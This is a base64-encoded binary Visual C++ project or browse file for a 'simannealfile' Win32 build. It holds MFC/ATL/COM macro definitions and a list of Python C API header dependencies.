I2RlZmluZSBBVExBUElfKHgpIHgKI2RlZmluZSBBRlhfQ0RFQ0wgX19jZGVjbAojZGVmaW5l IEFGWF9DTEFTU19FWFBPUlQgX19kZWNsc3BgkLMAAAAAAAEBAQEBAQgARV9FWChjbGFzc19u YW1lKQojZGVmaW5lIERFQ0xBUkVfT0xFQ1RMVFlQRShjbGFzc19uYW1lKQojZGVmaW5lIERF Q0xBUkVfT0xFVFlQRUxJQihjbGFzc19uYW1lKQojZGVmaW5lIERFQ0xBUkVfT05MWV9BR0dS RUdBVEFCTEUoeCkKI2RlZmluZSBERUNMQVJFX09QQVFVRTMyKHgpCiNkZWZpbmUgREVDTEFS RV9QQVJTRV9NQVAoKQojZGVmaW5lIERFQ0xBUkVfUE9MWV9BR0dSRUdBVEFCTEUoeCkKI2Rl ZmluZSBERUNMQVJFX1BST1BFUlRZX1NVUFBPUlQoY2xhc3MpCiNkZWZpbmUgREVDTEFSRV9Q Uk9QUEFHRUlEUyhjbGFzc19uYW1lKQojZGVmaW5lIERFQ0xBUkVfUFJPVEVDVF9GSU5BTF9D T05TVFJVQ1QoKQojZGVmaW5lIERFQ0xBUkVfUkVHSVNUUlkoY2xhc3MsIHBpZCwgdnBpZCwg bmlkLCBmbGFncykKI2RlZmluZSBERUNMQVJFX1JFR0lTVFJZX1JFU09VUkNFKHgpCiNkZWZp bmUgREVDTEFSRV9SRUdJU1RSWV9SRVNPVVJDRUlEKHgpCiNkZWZpbmUgREVDTEFSRV9TRVJJ QUwoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX1NUQVRJQ19SRUdJU1RSWV9SRVNPVVJD RSh4KQojZGVmaW5lIERFQ0xBUkVfU1RBVElDX1JFR0lTVFJZX1JFU09VUkNFSUQoeCkKI2Rl ZmluZSBERUNMQVJFX1ZJRVdfU1RBVFVTKHN0YXR1c0ZsYWdzKQojZGVmaW5lIERFQ0xBUkVf V05EX0NMQVNTKFduZENsYXNzTmFtZSkKI2RlZmluZSBERUNMQVJFX1dORF9TVVBFUkNMQVNT KFduZENsYXNzTmFtZSwgT3JpZ1duZENsYXNzTmFtZSkKI2RlZmluZSBERUZJTkVfQ09NTUFO RCh4LCBzekNvbW1hbmQpCiNkZWZpbmUgREVMRUdBVEVfRFVBTF9JTlRFUkZBQ0Uob2JqZWN0 Q2xhc3MsIGR1YWxDbGFzcykKI2RlZmluZSBFTkRfQ09OTkVDVElPTl9QQVJUKGxvY2FsQ2xh c3MpIH0gbV94IyNslAMBAgEAYXMYabQAeAEDAGQgY2xhc3MgWCMjbG9jYWxDbGFzczsKI2Rl ZmluZSBFTkRfRFVBTF9JTlRFUkZBQ0VfUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbG9jYWxD bGFzczsgZnJpZW5kIGNsYXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRU5EX0lOVEVSRkFD RV9QQVJUKGxvY2FsQ2xhc3MpIH0gbV94IyNsb2NhbENsYXNzOyBmcmllbmQgY2xhc3MgWCMj bG9jYWxDbGFzczsKI2RlZmluZSBFWFRFUk5fUFJPQ0VTU19MT0NBTChjbGFzc19uYW1lLCBp ZGVudF9uYW1lKSBleHRlcm4gQUZYX0RBVEEgUFJPQ0VTU19MT0NBTChjbGFzc19uYW1lLCBp ZGVudF9uYW1lKQojZGVmaW5lIEVYVF9TTkFQSU5NRU5VSUQoaWQpCiNkZWZpbmUgSU1QTEVN RU5UX0RVQUxfRVJST1JJTkZPKG9iamVjdENsYXNzLCByaWlkU291cmNlKQojZGVmaW5lIElN UExFTUVOVF9EWU5BTUlDKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSkKI2RlZmluZSBJ TVBMRU1FTlRfRFlOQ1JFQVRFKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSkKI2RlZmlu ZSBJTVBMRU1FTlRfT0xFQ1JFQVRFKGNsYXNzX25hbWUsIGV4dGVybmFsX25hbWUsIGwsIHcx LCB3MiwgYjEsIGIyLCBiMywgYjQsIGI1LCBiNiwgYjcsIGI4KQojZGVmaW5lIElNUExFTUVO VF9PTEVDUkVBVEVfRVgoY2xhc3NfbmFtZSwgZXh0ZXJuYWxfbmFtZSwgbCwgdzEsIHcyLCBi MSwgYjIsIGIzLCBiNCwgYjUsIGI2LCBiNywgYjgpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNU TFRZUEUoY2xhc3NfbmFtZSwgaWRzVXNlclR5cGVOYW1lLCBkd09sZU1pc2MpCiNkZWZpbmUg SU1QTEVNRU5UX09MRVRZUEVMSUIoY2xhc3NfbmFtZSwgdGxpZCwgd1Zlck1ham9yLCB3VmVy TWlub3IpCiNkZWZpbmUgSU1QTEVNRU5UX1NFUklBTChjbGFzc19uYW1lLCBiYXNlX2NsYXNz X25hbWUsIHdTY2hlbWEpCiNkZWZpbmUgSU5JVF9JTlRFUkZBQ0VfUEFSVCh0aGVDbGFzcywg bG9jYWxDbGFzcykKI2RlZmluZSBQUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25h bWUpIEFGWF9EQWDqAAABAAAAG3NpbWFubmVhbGZpbGUgLSBXaW4zMiBEZWJ1ZxFzaW1hbm5l YWxmaWxlLmRzcAEACABDUHJvamVjdBtzaW1hbm5lYWxmaWxlIC0gV2luMzIgRGVidWcdc2lt YW5uZWFsZmlsZSAtIFdpbjMyIFJlbGVhc2UCAAAAAYAAAAAAAAAAABtzaW1hbm5lYWxmaWxl IC0gV2luMzIgRGVidWcCAAAAAYAAAAAAAgAAAOoFAQAAAAIAAAD7BQEAAAAAAAAABggUU1NC UgABAAsAQ1RhcmdldEl0ZW0bc2ltYW5uZWFsZmlsZSAtIFdpbjMyIERlYnVnAAAAAAYIFFNT QlIQUXVlbGxjb2RlZGF0ZWllbgEACgBDUHJvakdyb3VwBggUU1NCUgUIFERKVw5IZWFkZXIt RGF0ZWllbgEACgBDUHJvakdyb3VwBggUU1NCUgUIFERKVxFSZXNzb3VyY2VuZGF0ZWllbgEA CgBDUHJvakdyb3VwBggUU1NCUgUIFERKVwNkZXABABQAQ0RlcGVuZGVuY3lDb250YWluZXIG CBRTU0JSDGxvbmdvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSDGZ1bmNvYmpl Y3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSC3N5c21vZHVsZS5oAQAPAENEZXBlbmRl bmN5RmlsZQYIFFNTQlIKYWJzdHJhY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSD3Vu aWNvZGVvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCWNvYmplY3QuaAEADwBD RGVwZW5kZW5jeUZpbGUGCBRTU0JSCG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNT QlIMY2VsbG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIcHl0aG9uLmgBAA8A Q0RlcGVuZGVuY3lGaWxlBggUU1NCUg1yYW5nZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5Rmls ZQYIFFNTQlIJcHlzdGF0ZS5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIcHlwb3J0LmgB AA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUg10dXBsZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5 RmlsZQYIFFNTQlIObWV0aG9kb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgdw eWZwZS5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlINZmxvYXRvYmplY3QuaAEADwBDRGVw ZW5kZW5jeUZpbGUGCBRTU0JSDWNsYXNzb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggU U1NCUgtpbnRyY2hlY2suaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSB2NldmFsLmgBAA8A Q0RlcGVuZGVuY3lGaWxlBggUU1NCUgt0cmFjZWJhY2suaAEADwBDRGVwZW5kZW5jeUZpbGUG CBRTU0JSDG1vZHN1cHBvcnQuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCW9iamltcGwu aAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSDHBhdGNobGV2ZWwuaAEADwBDRGVwZW5kZW5j eUZpbGUGCBRTU0JSDnN0cmluZ29iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIM bGlzdG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIObW9kdWxlb2JqZWN0LmgB AA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgtpbnRvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZp bGUGCBRTU0JSCWJhc2V0c2QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSC3B5dGhvbnJ1 bi5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIaW1wb3J0LmgBAA8AQ0RlcGVuZGVuY3lG aWxlBggUU1NCUg9jb21wbGV4b2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUglw eWRlYnVnLmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUg1zbGljZW9iamVjdC5oAQAPAENE ZXBlbmRlbmN5RmlsZQYIFFNTQlIMZmlsZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYI FFNTQlIKcHllcnJvcnMuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCGNvbmZpZy5oAQAP AENEZXBlbmRlbmN5RmlsZQYIFFNTQlIHcHltZW0uaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRT U0JSDmJ1ZmZlcm9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMZGljdG9iamVj dC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIFCBRESlcFCBRESlcFCBRESldkZWZpbmUg TkVUX0FQSV9GVU5DVElPTiBfX3N0ZGNhbGwKI2RlZmluZSBOVEFQSSBfX3N0ZGNhbGwKI2Rl ZmluZSBwYXNjYWwgX19zdGRjYWxsCiNkZWZpbmUgUEFTQ0FMIF9fc3RkY2FsbAojZGVmaW5l IFJQQ19FTlRSWSBfX3N0ZGNhbGwKI2RlZmluZSBSUENfVkFSX0VOVFJZIF9fY2RlY2wKI2Rl ZmluZSBTSVpFX1RfTUFYIFVJTlRfTUFYCiNkZWZpbmUgU1FMX0FQSSBfX3N0ZGNhbGwKI2Rl ZmluZSBTUlZBUEkKI2RlZmluZSBTVERBUEkgSFJFU1VMVCBTVERBUElDQUxMVFlQRQojZGVm aW5lIFNUREFQSV8odHlwZSkgdHlwZSBTVERBUElDQUxMVFlQRQojZGVmaW5lIFNUREFQSUNB TExUWVBFIF9fc3RkY2FsbAojZGVmaW5lIFNUREFQSVYgSFJFU1VMVCBTVERBUElWQ0FMTFRZ UEUKI2RlZmluZSBTVERBUElWXyh0eXBlKSB0eXBlIFNUREFQSVZDQUxMVFlQRQojZGVmaW5l IFNUREFQSVZDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgU1RETUVUSE9EKG1ldGhvZCkgdmly dHVhbCBIUkVTVUxUIFNURE1FVEhPRENBTExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhP RF8odHlwZSxtZXRob2QpIHZpcnR1YWwgdHlwZSBTVERNRVRIT0RDQUxMVFlQRSBtZXRob2QK I2RlZmluZSBTVERNRVRIT0RDQUxMVFlQRSBfX3N0ZGNhbGwKI2RlZmluZSBTVERNRVRIT0RJ TVAgSFJFU1VMVCBTVERNRVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUF8odHlw ZSkgdHlwZSBTVERNRVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUFYgSFJFU1VM VCBTVERNRVRIT0RWQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJTVBWXyh0eXBlKSB0eXBl IFNURE1FVEhPRFZDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRFZDQUxMVFlQRSBfX2NkZWNs CiNkZWZpbmUgU1RETUFQSUlOSVRDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgVU5BTElHTkVE CiNkZWZpbmUgVkZXQVBJVgojZGVmaW5lIFdEQkdBUEkgX19zdGRjYWxsCiNkZWZpbmUgV0lO QVBJIF9fc3RkY2FsbAojZGVmaW5lIFdJTkFQSVYgX19jZGVjbAojZGVmaW5lIFdJTk9MRUFQ SSBIUkVTVUxUIFNUREFQSUNBTExUWVBFCiNkZWZpbmUgV0lOT0xFQVBJXyh0eXBlKSB0eXBl IFNUREFQSUNBTExUWVBFCiNkZWZpbmUgYWZ4X21zZwojZGVmaW5lIEFUTF9OT19WVEFCTEUg X19kZWNsc3BlYyhub3Z0YWJsZSkKI2RlZmluZSBBVExBUEkgSFJFU1VMVAojZGVmaW5lIEFU TEFQSV8oeCkgeAojZGVmaW5lIEFGWF9DREVDTCBfX2NkZWNsCiNkZWZpbmUgQUZYX0NMQVNT X0VYUE9SVCBfX2RlY2xzcGCQswAAAAAAAQEBAQEBCABFX0VYKGNsYXNzX25hbWUpCiNkZWZp bmUgREVDTEFSRV9PTEVDVExUWVBFKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTEVU WVBFTElCKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTkxZX0FHR1JFR0FUQUJMRSh4 KQojZGVmaW5lIERFQ0xBUkVfT1BBUVVFMzIoeCkKI2RlZmluZSBERUNMQVJFX1BBUlNFX01B UCgpCiNkZWZpbmUgREVDTEFSRV9QT0xZX0FHR1JFR0FUQUJMRSh4KQojZGVmaW5lIERFQ0xB UkVfUFJPUEVSVFlfU1VQUE9SVChjbGFzcykKI2RlZmluZSBERUNMQVJFX1BST1BQQUdFSURT KGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9QUk9URUNUX0ZJTkFMX0NPTlNUUlVDVCgp CiNkZWZpbmUgREVDTEFSRV9SRUdJU1RSWShjbGFzcywgcGlkLCB2cGlkLCBuaWQsIGZsYWdz KQojZGVmaW5lIERFQ0xBUkVfUkVHSVNUUllfUkVTT1VSQ0UoeCkKI2RlZmluZSBERUNMQVJF X1JFR0lTVFJZX1JFU09VUkNFSUQoeCkKI2RlZmluZSBERUNMQVJFX1NFUklBTChjbGFzc19u YW1lKQojZGVmaW5lIERFQ0xBUkVfU1RBVElDX1JFR0lTVFJZX1JFU09VUkNFKHgpCiNkZWZp bmUgREVDTEFSRV9TVEFUSUNfUkVHSVNUUllfUkVTT1VSQ0VJRCh4KQojZGVmaW5lIERFQ0xB UkVfVklFV19TVEFUVVMoc3RhdHVzRmxhZ3MpCiNkZWZpbmUgREVDTEFSRV9XTkRfQ0xBU1Mo V25kQ2xhc3NOYW1lKQojZGVmaW5lIERFQ0xBUkVfV05EX1NVUEVSQ0xBU1MoV25kQ2xhc3NO YW1lLCBPcmlnV25kQ2xhc3NOYW1lKQojZGVmaW5lIERFRklORV9DT01NQU5EKHgsIHN6Q29t bWFuZCkKI2RlZmluZSBERUxFR0FURV9EVUFMX0lOVEVSRkFDRShvYmplY3RDbGFzcywgZHVh bENsYXNzKQojZGVmaW5lIEVORF9DT05ORUNUSU9OX1BBUlQobG9jYWxDbGFzcykgfSBtX3gj I2yUAwECAQBhcxhptAB4AQMAZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVmaW5lIEVORF9E VUFMX0lOVEVSRkFDRV9QQVJUKGxvY2FsQ2xhc3MpIH0gbV94IyNsb2NhbENsYXNzOyBmcmll bmQgY2xhc3MgWCMjbG9jYWxDbGFzczsKI2RlZmluZSBFTkRfSU5URVJGQUNFX1BBUlQobG9j YWxDbGFzcykgfSBtX3gjI2xvY2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2NhbENsYXNz OwojZGVmaW5lIEVYVEVSTl9QUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUp IGV4dGVybiBBRlhfREFUQSBQUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUp CiNkZWZpbmUgRVhUX1NOQVBJTk1FTlVJRChpZCkKI2RlZmluZSBJTVBMRU1FTlRfRFVBTF9F UlJPUklORk8ob2JqZWN0Q2xhc3MsIHJpaWRTb3VyY2UpCiNkZWZpbmUgSU1QTEVNRU5UX0RZ TkFNSUMoY2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVOVF9E WU5DUkVBVEUoY2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVO VF9PTEVDUkVBVEUoY2xhc3NfbmFtZSwgZXh0ZXJuYWxfbmFtZSwgbCwgdzEsIHcyLCBiMSwg YjIsIGIzLCBiNCwgYjUsIGI2LCBiNywgYjgpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFU RV9FWChjbGFzc19uYW1lLCBleHRlcm5hbF9uYW1lLCBsLCB3MSwgdzIsIGIxLCBiMiwgYjMs IGI0LCBiNSwgYjYsIGI3LCBiOCkKI2RlZmluZSBJTVBMRU1FTlRfT0xFQ1RMVFlQRShjbGFz c19uYW1lLCBpZHNVc2VyVHlwZU5hbWUsIGR3T2xlTWlzYykKI2RlZmluZSBJTVBMRU1FTlRf T0xFVFlQRUxJQihjbGFzc19uYW1lLCB0bGlkLCB3VmVyTWFqb3IsIHdWZXJNaW5vcikKI2Rl ZmluZSBJTVBMRU1FTlRfU0VSSUFMKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSwgd1Nj aGVtYSkKI2RlZmluZSBJTklUX0lOVEVSRkFDRV9QQVJUKHRoZUNsYXNzLCBsb2NhbENsYXNz KQojZGVmaW5lIFBST0NFU1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkgQUZYX0RB FAOBAgEAQ1AYabQAeAEDAGNhbDxjbGFzc19uYW1lPiBpZGVudF9uYW1lOwojZGVmaW5lIFBV UkUgPSAwCiNkZWZpbmUgU05BUElOTUVOVUlEKGlkKQojZGVmaW5lIFRISVMgdm9pZAojZGVm aW5lIFRISVNfCiNkZWZpbmUgVFLIRrQAAAAAAAEBAgIBAQgAWSB0cnkgewojZGVmaW5lIENB VENIKGNsYXNzX25hbWUsIGUpIH0gY2F0Y2ggKGNsYXNzX25hbWUgKiBlKSB7CiNkZWZpbmUg QU5EX0NBVENIKGNsYXNzX25hbWUsIGUpIH0gY2F0Y2ggKGNsYXNzX25hbWUgKiBlKSB7CiNk ZWZpbmUgRU5EX0NBVENIIH0KI2RlZmluZSBDQVRDSF9BTEwoZSkgfSBjYXRjaCAoQ0V4Y2Vw dGlvbiogZSkgewojZGVmaW5lIEFORF9DQVRDSF9BTEwoZSkgfSBjYXRjaCAoQ0V4Y2VwdGlv biogZSkgewojZGVmaW5lIEVORF9DQVRDSF9BTEwgfQojZGVmaW5lIEJFR0lOX0NPTFVNTl9N QVAoeCkgY2xhc3MgX19OQ0JfX0NPTFVNTl8jI3ggOiBwdWJsaWMgQ09MVU1OIHsKI2RlZmlu ZSBFTkRfQ09MVU1OX01BUCgpIH07CiNkZWZpbmUgQkVHSU5fQ09OVFJPTF9NQVAoeCkgY2xh c3MgX19OQ0JfX0NPTlRST0xfIyN4IDogcHVibGljIENPTlRST0wgewojZGVmaW5lIEVORF9D T05UUk9MX01BUCgpIH07CiNkZWZpbmUgQkVHSU5fQ09NX01BUCh4KSBjbGFzcyBfX05DQl9f Q09NXyMjeCA6IHB1YmxpYyBDT00gewojZGVmaW5lIEVORF9DT01fTUFQKCkgfTsKI2RlZmlu ZSBCRUdJTl9DT05ORUNUSU9OX1BPSU5UX01BUCh4KSBjbGFzcyBfX05DQl9fQ09OTkVDVElP TlBPSU5UXyMjeCA6IHB1YmxpYyBDT05ORUNUSU9OX1BPSU5UIHsKI2RlZmluZSBFTkRfQ09O TkVDVElPTl9QT0lOVF9NQVAoKSB9OwojZGVmaW5lIEJFR0lOX0VYVEVOU0lPTl9TTkFQSU5f Tk9ERUlORk9fTUFQKHgpIGNsYXNzIF9fTkNCX19FWFRFTlNJT05TTkFQSU5OT0RFSU5GT18j I3ggOiBwdWJsaWMgRVhURU5TSU9OX1NOQVBJTl9OT0RFSU5GTyB7CiNkZWZpbmUgRU5EX0VY VEVOU0lPTl9TTkFQSU5fTk9ERUlORk9fTUFQKCkgfTsKI2RlZmluZSBCRUdJTl9GSUxURWDq AAABAAAAAQANc2ltYW5uZWFsZmlsZQAAAAH/////AAAAAAAAAAAAAAAAAAAAAP//AABzcAEA CABDUHJvamVjdBtzaW1hbm5lYWxmaWxlIC0gV2luMzIgRGVidWcdc2ltYW5uZWFsZmlsZSAt IFdpbjMyIFJlbGVhc2UCAAAAAYAAAAAAAAAAABtzaW1hbm5lYWxmaWxlIC0gV2luMzIgRGVi dWcCAAAAAYAAAAAAAgAAAOoFAQAAAAIAAAD7BQEAAAAAAAAABggUU1NCUgABAAsAQ1Rhcmdl dEl0ZW0bc2ltYW5uZWFsZmlsZSAtIFdpbjMyIERlYnVnAAAAAAYIFFNTQlIQUXVlbGxjb2Rl ZGF0ZWllbgEACgBDUHJvakdyb3VwBggUU1NCUgUIFERKVw5IZWFkZXItRGF0ZWllbgEACgBD UHJvakdyb3VwBggUU1NCUgUIFERKVxFSZXNzb3VyY2VuZGF0ZWllbgEACgBDUHJvakdyb3Vw BggUU1NCUgUIFERKVwNkZXABABQAQ0RlcGVuZGVuY3lDb250YWluZXIGCBRTU0JSDGxvbmdv YmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSDGZ1bmNvYmplY3QuaAEADwBDRGVw ZW5kZW5jeUZpbGUGCBRTU0JSC3N5c21vZHVsZS5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNT QlIKYWJzdHJhY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSD3VuaWNvZGVvYmplY3Qu aAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCWNvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZp bGUGCBRTU0JSCG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMY2VsbG9iamVj dC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIcHl0aG9uLmgBAA8AQ0RlcGVuZGVuY3lG aWxlBggUU1NCUg1yYW5nZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIJcHlz dGF0ZS5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIcHlwb3J0LmgBAA8AQ0RlcGVuZGVu Y3lGaWxlBggUU1NCUg10dXBsZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIO bWV0aG9kb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgdweWZwZS5oAQAPAENE ZXBlbmRlbmN5RmlsZQYIFFNTQlINZmxvYXRvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUG CBRTU0JSDWNsYXNzb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgtpbnRyY2hl Y2suaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSB2NldmFsLmgBAA8AQ0RlcGVuZGVuY3lG aWxlBggUU1NCUgt0cmFjZWJhY2suaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSDG1vZHN1 cHBvcnQuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCW9iamltcGwuaAEADwBDRGVwZW5k ZW5jeUZpbGUGCBRTU0JSDHBhdGNobGV2ZWwuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JS DnN0cmluZ29iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMbGlzdG9iamVjdC5o AQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIObW9kdWxlb2JqZWN0LmgBAA8AQ0RlcGVuZGVu Y3lGaWxlBggUU1NCUgtpbnRvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCWJh c2V0c2QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSC3B5dGhvbnJ1bi5oAQAPAENEZXBl bmRlbmN5RmlsZQYIFFNTQlIIaW1wb3J0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUg9j b21wbGV4b2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUglweWRlYnVnLmgBAA8A Q0RlcGVuZGVuY3lGaWxlBggUU1NCUg1zbGljZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5Rmls ZQYIFFNTQlIMZmlsZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIKcHllcnJv cnMuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCGNvbmZpZy5oAQAPAENEZXBlbmRlbmN5 RmlsZQYIFFNTQlIHcHltZW0uaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSDmJ1ZmZlcm9i amVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMZGljdG9iamVjdC5oAQAPAENEZXBl bmRlbmN5RmlsZQYIFFNTQlIFCBRESlcFCBRESlcFCBRESldkZWZpbmUgTkVUX0FQSV9GVU5D VElPTiBfX3N0ZGNhbGwKI2RlZmluZSBOVEFQSSBfX3N0ZGNhbGwKI2RlZmluZSBwYXNjYWwg X19zdGRjYWxsCiNkZWZpbmUgUEFTQ0FMIF9fc3RkY2FsbAojZGVmaW5lIFJQQ19FTlRSWSBf X3N0ZGNhbGwKI2RlZmluZSBSUENfVkFSX0VOVFJZIF9fY2RlY2wKI2RlZmluZSBTSVpFX1Rf TUFYIFVJTlRfTUFYCiNkZWZpbmUgU1FMX0FQSSBfX3N0ZGNhbGwKI2RlZmluZSBTUlZBUEkK I2RlZmluZSBTVERBUEkgSFJFU1VMVCBTVERBUElDQUxMVFlQRQojZGVmaW5lIFNUREFQSV8o dHlwZSkgdHlwZSBTVERBUElDQUxMVFlQRQojZGVmaW5lIFNUREFQSUNBTExUWVBFIF9fc3Rk Y2FsbAojZGVmaW5lIFNUREFQSVYgSFJFU1VMVCBTVERBUElWQ0FMTFRZUEUKI2RlZmluZSBT VERBUElWXyh0eXBlKSB0eXBlIFNUREFQSVZDQUxMVFlQRQojZGVmaW5lIFNUREFQSVZDQUxM VFlQRSBfX2NkZWNsCiNkZWZpbmUgU1RETUVUSE9EKG1ldGhvZCkgdmlydHVhbCBIUkVTVUxU IFNURE1FVEhPRENBTExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhPRF8odHlwZSxtZXRo b2QpIHZpcnR1YWwgdHlwZSBTVERNRVRIT0RDQUxMVFlQRSBtZXRob2QKI2RlZmluZSBTVERN RVRIT0RDQUxMVFlQRSBfX3N0ZGNhbGwKI2RlZmluZSBTVERNRVRIT0RJTVAgSFJFU1VMVCBT VERNRVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUF8odHlwZSkgdHlwZSBTVERN RVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUFYgSFJFU1VMVCBTVERNRVRIT0RW Q0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJTVBWXyh0eXBlKSB0eXBlIFNURE1FVEhPRFZD QUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRFZDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgU1RE TUFQSUlOSVRDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgVU5BTElHTkVECiNkZWZpbmUgVkZX QVBJVgojZGVmaW5lIFdEQkdBUEkgX19zdGRjYWxsCiNkZWZpbmUgV0lOQVBJIF9fc3RkY2Fs bAojZGVmaW5lIFdJTkFQSVYgX19jZGVjbAojZGVmaW5lIFdJTk9MRUFQSSBIUkVTVUxUIFNU REFQSUNBTExUWVBFCiNkZWZpbmUgV0lOT0xFQVBJXyh0eXBlKSB0eXBlIFNUREFQSUNBTExU WVBFCiNkZWZpbmUgYWZ4X21zZwojZGVmaW5lIEFUTF9OT19WVEFCTEUgX19kZWNsc3BlYyhu b3Z0YWJsZSkKI2RlZmluZSBBVExBUEkgSFJFU1VMVAojZGVmaW5lIEFUTEFQSV8oeCkgeAoj ZGVmaW5lIEFGWF9DREVDTCBfX2NkZWNsCiNkZWZpbmUgQUZYX0NMQVNTX0VYUE9SVCBfX2Rl Y2xzcGCQswAAAAAAAQEBAQEBCABFX0VYKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9P TEVDVExUWVBFKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTEVUWVBFTElCKGNsYXNz X25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTkxZX0FHR1JFR0FUQUJMRSh4KQojZGVmaW5lIERF Q0xBUkVfT1BBUVVFMzIoeCkKI2RlZmluZSBERUNMQVJFX1BBUlNFX01BUCgpCiNkZWZpbmUg REVDTEFSRV9QT0xZX0FHR1JFR0FUQUJMRSh4KQojZGVmaW5lIERFQ0xBUkVfUFJPUEVSVFlf U1VQUE9SVChjbGFzcykKI2RlZmluZSBERUNMQVJFX1BST1BQQUdFSURTKGNsYXNzX25hbWUp 